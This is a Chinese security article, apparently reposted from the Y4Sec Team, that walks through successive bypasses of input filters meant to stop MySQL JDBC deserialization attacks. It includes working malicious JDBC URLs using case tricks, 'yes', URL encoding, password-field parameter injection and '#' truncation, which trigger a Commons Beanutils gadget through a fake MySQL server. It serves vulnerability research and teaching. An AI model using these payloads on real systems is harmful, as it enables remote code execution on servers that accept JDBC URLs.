长亭百川云 - 文章详情

JDBC Attack URL 绕过合集

Y4Sec Team

56

2024-07-13

0x01 介绍

早在去年,我们团队(Y4Sec Team)在研究 JDBC Attack 时,发现了一些可能的绕过情况,注意哈,这里的绕过不是新姿势,而是一些针对性修复补丁的绕过思路,例如针对 autoDeserialize 的各种过滤和绕过。但是指导我们的师傅不建议公开,最近征求师傅同意我对外公开这些内容,所以有了这篇文章

在编写本文之前,我有搜索过师傅们博客,星球等内容。发现大多数内容在今年已有其他师傅公开,例如三月份 心心 师傅在星球有公开过类似的内容;其他师傅的博客中似乎也看到过类似的。感谢师傅们的文章,本文目的是做一个合集,对于各种绕过导致的 CVE 姿势做一个总结和学习

这里仅考虑 MySQL 驱动里的一些绕过姿势,对于其他类型的数据库,应该存在类似的思路和手法

我计划做成一种类似于挑战和关卡的模式,给出多个例子,一步一步地从最简单的绕过到复杂的场景以及逻辑漏洞

0x02 基础介绍

对于 JDBC Attack 的内容,这里不做太多介绍,在先知跳跳糖等多处有各位师傅们的精彩内容。简单来说,如果 JDBC 的 URL 可控,那么连接客户端将可能连接到恶意的服务端,进而导致反序列化漏洞

年初花了一些时间从头构造 MySQL 协议,写了一版纯 Java 的 Fake MySQL Server 工具,优点是支持了 GUI 且容易集成多种 Gadget 链。个人认为比 Python 版本更容易上手一些,感谢 fnmsd 师傅代码提供的思路。本文将以该工具为基础

https://github.com/4ra1n/mysql-fake-server

为了测试,我们创建一个新的项目,引入 MySQL 6.x 驱动,以及最新版本的 Commons Beanutils 作为 Gadget 链测试

(为什么选择 6.x 驱动:当时没想太多,测试后发现和 8.x 有一些小细节差距,导致了一些绕过仅在 8.x 可用,这个问题下文我们讨论)

  `<dependencies>`      `<dependency>`          `<groupId>mysql</groupId>`          `<artifactId>mysql-connector-java</artifactId>`          `<version>6.0.2</version>`      `</dependency>`      `<dependency>`          `<groupId>commons-beanutils</groupId>`          `<artifactId>commons-beanutils</artifactId>`          `<version>1.9.4</version>`      `</dependency>`  `</dependencies>`

接下来我们写一个最简单的测试类,模拟第一种场景,直接读取 URL 并连接,后续每一个例子都会新建一个 Application 类

`public class Application1 {`    `public static void connection(String url){`        `try {`            `Class.forName("com.mysql.cj.jdbc.Driver");`            `DriverManager.getConnection(url);`        `} catch (Exception e) {`            `e.printStackTrace();`        `}`    `}``}``   `

使用如下的输入测试,后续每一个测试都会新建 Example 类

`public class Example1 {`    `public static void main(String[] args) {`        `String addr = "127.0.0.1:62787";`        `String params = "detectCustomCollations=true&autoDeserialize=true&user=deser_CB_calc.exe";`        `String url = String.format( "jdbc:mysql://%s/test?%s",addr,params);``   `        `Application1.connection(url);`    `}``}``   `

运行后可以发现直接弹出了计算器

0x03 绕过1

篇幅有限,本文只展示核心代码,完整代码在 Y4SecTeam 中

https://github.com/Y4Sec-Team/mysql-jdbc-tricks

另外,恶意 JDBC 参数有很多,这里只以 autoDeserialize 为例,其他的参数绕过思路大同小异

`for (Map.Entry<String,String> p: params.entrySet()){`    `if (p.getKey().equals("autoDeserialize")) {`        `if(p.getValue().equals("true")){`            `return false;`        `}`    `}``}`

以上代码的限制,大家可以思考下如何绕过

其实很简单,大小写绕过,这是安全测试中基础的常见的内容

使用 tRue TRuE 等等参数即可

`addr = "127.0.0.1:62787";``params = "detectCustomCollations=true&autoDeserialize=tRue&user=deser_CB_calc.exe";``url = String.format("jdbc:mysql://%s/test?%s", addr, params);``   ``Application2.connection(url);`

绕过的原理参考下图,使用了 equalsIgnoreCase 比较

com/mysql/cj/core/conf/BooleanPropertyDefinition

0x04 绕过2

第二个绕过案例如下,加入了大小写判断

`for (Map.Entry<String,String> p: params.entrySet()){`    `if (p.getKey().equals("autoDeserialize")) {`        `String value = p.getValue();`        `value = value.toLowerCase();`        `if(value.equals("true")){`            `return false;`        `}`    `}``}`

大家可以尝试思考,是否有办法绕过?

这个答案在绕过1的截图中已经出现了,答案是:使用 yes 关键字

`return ``   Boolean.valueOf(value.equalsIgnoreCase("TRUE")  ``  || value.equalsIgnoreCase("YES"));`

在 MySQL 驱动中,认为 yes 和 true 等价

所以最后的绕过代码如下

`addr = "127.0.0.1:62787";``params = "detectCustomCollations=true&autoDeserialize=yes&user=deser_CB_calc.exe";``url = String.format("jdbc:mysql://%s/test?%s", addr, params);``   ``Application3.connection(url);`

对于使用 yes 绕过导致的 CVE 应该是有一个或两个

另外值得一提的是:据说低版本驱动还有1和0两种,这里未测试

0x04 绕过3

现在我们同时过滤了 true 和 yes 且考虑了大小写,如何绕过

`for (Map.Entry<String, String> p : params.entrySet()) {`    `if (p.getKey().equals("autoDeserialize")) {`        `String value = p.getValue();`        `value = value.toLowerCase();`        `if (value.equals("true") || value.equals("yes")) {`            `return false;`        `}`    `}``}`

这种情况已经比较严格了,师傅们有思路吗?

使用 URL 编码即可 %74%72%75%65

`addr = "127.0.0.1:62787";``params = "detectCustomCollations=true&autoDeserialize=%74%72%75%65&user=deser_CB_calc.exe";``url = String.format("jdbc:mysql://%s/test?%s", addr, params);``   ``Application4.connection(url);`

0x05 可能安全?

作为开发者,我们现在被白帽子们的绕过搞的头皮发麻,于是现在按照标准 URL 处理字符串,这里会自动解码,然后再过滤 yes 和 true 选项

`URI uri = new URI(jdbcUrl.replace("jdbc:", ""));``   ``String host = uri.getHost();``int port = uri.getPort();``String path = uri.getPath();``String dbname = path.substring(1);``   ``Map<String, String> params = new HashMap<>();``String query = uri.getQuery();``if (query != null) {`    `String[] pairs = query.split("&");`    `for (String pair : pairs) {`        `String[] keyValue = pair.split("=");`        `String key = keyValue[0];`        `String value = keyValue.length > 1 ? keyValue[1] : "";`        `params.put(key, value);`    `}``}``   ``for (Map.Entry<String, String> p : params.entrySet()) {`    `if (p.getKey().equals("autoDeserialize")) {`        `String value = p.getValue();`        `value = value.toLowerCase();`        `if (value.equals("true") || value.equals("yes")) {`            `return false;`        `}`    `}``}``   ``return true;`

是否还会存在绕过呢?

师傅们可以思考

0x06 绕过4

以上是一种 URL 完全可控的情况,实际上真实的场景中,更多见的是类似下图的情况,例如下图:用户可控的是 HOST 用户名 密码 数据库名 以及自定义的连接字符串。对于这种场景有另外的一些绕过姿势

于是有了绕过4的代码,这段代码的逻辑很简单,校验输入的额外的 jdbc 连接参数中,是否包含了 autoDeserialize 关键字(这里暂不考虑URL编码的问题)对于这种场景师傅们有没有想到一些思路?

`public static void connection(String addr,String user,String db,String password,String extra) {`    `try {`        `String url = String.format("jdbc:mysql://%s/%s?",addr,db);``   `        `StringBuilder sb = new StringBuilder();`        `sb.append("user=");`        `sb.append(user);`        `sb.append("&");`        `sb.append("password=");`        `sb.append(password);``   `        `if (!check(extra)){`            `System.out.println("you are hacker");`            `return;`        `}``   `        `if (!extra.equals("")){`            `sb.append("&");`            `sb.append(extra);`        `}``   `        `url = url + sb;``   `        `System.out.println(url);``   `        `Class.forName("com.mysql.cj.jdbc.Driver");`        `DriverManager.getConnection(url);`    `} catch (Exception e) {`        `e.printStackTrace();`    `}``}``   ``private static boolean check(String params){`    `try {`        `return !params.contains("autoDeserialize");`    `} catch (Exception e) {`        `e.printStackTrace();`        `return false;`    `}``}`

思路大致是这样:

最终是一定拼接了一个字符串 

`StringBuilder sb = new StringBuilder();``sb.append("user=");``sb.append(user);``sb.append("&");``sb.append("password=");``sb.append(password);`

其中的 user 和 password 是可控的,如果这两个字段没有过滤,这里将会存在一种类似于 SQL 注入 漏洞的问题,可以注入恶意参数

`// 可控内容``String addr = "127.0.0.1:62787";``String user = "deser_CB_calc.exe";``String password = "test&autoDeserialize=true";``String db = "test";``String extra = "detectCustomCollations=true&";``   ``Application7.connection(addr,user,db,password,extra);`

成功弹出计算器

最终拼接的 URL 是

jdbc:mysql://127.0.0.1:62787/test?user=deser_CB_calc.exe&password=test&autoDeserialize=true&detectCustomCollations=true&

0x07 绕过5

接下来讨论另外一种修复情况:强行末尾添加 autoDeserialize=false 的修复方案。这种参数解析的逻辑,一般都是新参数覆盖旧参数,如果之前定义了 autoDeserialize=true 的情况,添加 autoDeserialize=false 是可以覆盖的。某开源项目曾经选择了这种办法处理

`if (url.endsWith("?")) {`    `url = url + sb + "autoDeserialize=false";``} else {`    `url = url + sb + "&autoDeserialize=false";``}`

这种办法的绕过可能一般情况下难以想到,但是结合 URL 特性,其中 # 符号是锚点,也可以理解为注释符,将可以注释掉后续的内容

而这里又存在 MySQL 驱动的细节问题,例如在 6.0.2 的驱动中必须这样写才可以使 # 号注释掉强行添加的内容(必须以&结尾再注释)

autoDeserialize=true&#autoDeserialize=false

而在 8.x 中,直接使用一个 # 号即可

autoDeserialize=true#autoDeserialize=false

无论 # 号后是否包含了 & 符号,完全不会生效

关于这个问题,我猜测 6.0.2 中,参数是按照 & 进行分割和匹配的,遇到 # 符号认为仍然在读取 value 信息,而不是读取结束。然后读取的值无法匹配合法值,导致报错和失效

调试发现的确如此,这应该是 MySQL 驱动自己的 BUG 在高版本修复了

该问题也曾经有过 CVE 漏洞

0x08 绕过6

最后一关,但不一定是最难的一关

我过滤了所有的参数,user password 等内容中都不能包含恶意参数

`String url = String.format("jdbc:mysql://%s/%s?", addr, db);``   ``StringBuilder sb = new StringBuilder();``sb.append("user=");``sb.append(check(user));``sb.append("&");``sb.append("password=");``sb.append(check(password));``   ``if (!extra.equals("")) {`    `sb.append("&");`    `sb.append(check(extra));``}``   ``url = url + sb;``   ``System.out.println(url);``   ``Class.forName("com.mysql.cj.jdbc.Driver");``DriverManager.getConnection(url);`

可以发现,这里还有两处内容可控:

- addr

- db

之所以这个案例放在最后,因为它需要上一个案例的知识:注释特性,无论 addr 还是 db 可控,都会导致存在一长串非法字符串,这样的字符串需要进行处理否则会报错。处理的办法最简单最直接的是:使用 # 号(可能存在其他的办法,我没有做深入研究)

`String addr = "127.0.0.1:62787/test?detectCustomCollations=true&autoDeserialize=true&user=deser_CB_calc.exe&#";``String user = "deser_CB_calc.exe";``String password = "test";``String db = "test";``String extra = "";``   ``Application9.connection(addr,user,db,password,extra);`

最终这个案例的 URL 是

jdbc:mysql://127.0.0.1:62787/test?detectCustomCollations=true&autoDeserialize=true&user=deser_CB_calc.exe&#/test?user=deser_CB_calc.exe&password=test

我使用了 # 号注释掉 /test? 之后的所有内容,成功弹出计算器

0x08 结束

今天的挑战结束,希望大家可以学到新知识

完整代码在 Y4Sec Team 的仓库中:

https://github.com/Y4Sec-Team/mysql-jdbc-tricks

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2